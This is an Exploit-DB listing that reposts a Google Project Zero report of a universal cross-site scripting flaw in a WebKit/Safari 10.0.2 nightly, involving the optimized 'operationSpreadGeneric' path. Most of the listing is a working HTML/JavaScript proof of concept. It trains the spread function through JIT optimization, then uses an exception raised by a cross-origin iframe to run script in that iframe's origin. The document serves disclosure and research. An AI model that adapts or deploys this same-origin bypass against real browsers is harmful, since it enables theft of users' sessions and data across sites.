Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'operationSpreadGeneric' Universal Cross-Site Scripting

EDB-ID: 41900
Author: Google Security Research
Published: 2017-04-20
CVE: N/A
Type: Webapps
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Cross-Site Scripting (XSS)
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094 

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;

try {
spread(f.contentWindow);
} catch (e) {
e.constructor.constructor('alert(location)')();
}
};

f.src = 'https://abc.xyz/';

</script>
</body>

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